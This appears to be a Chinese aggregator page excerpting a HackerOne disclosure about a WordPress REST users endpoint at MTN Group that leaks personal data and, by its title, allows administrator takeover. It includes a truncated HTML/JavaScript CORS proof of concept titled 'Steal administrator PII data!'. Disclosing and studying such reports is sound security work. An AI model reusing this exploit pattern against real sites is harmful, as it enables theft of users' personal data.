Unauthorized access to PII leads to Administrator account Takeover
该报告还没有中文解读。
原文摘录
摘自原文（3552 字符中的一小部分）
Summary: This vulnerability is present in the `wp-json/wp/v2/users/15` file located in the wordpress directory endpoints. This flaw arises from insufficient restrictions placed on the list of post authors, which can be exploited by remote attackers to obtain sensitive information through …
原文中的代码
<!DOCTYPE html>
<html>
<body>
<center>
<h3>Steal administrator PII data!</h3>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 MTN Group 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @h0w · 版权归作者与 MTN Group 所有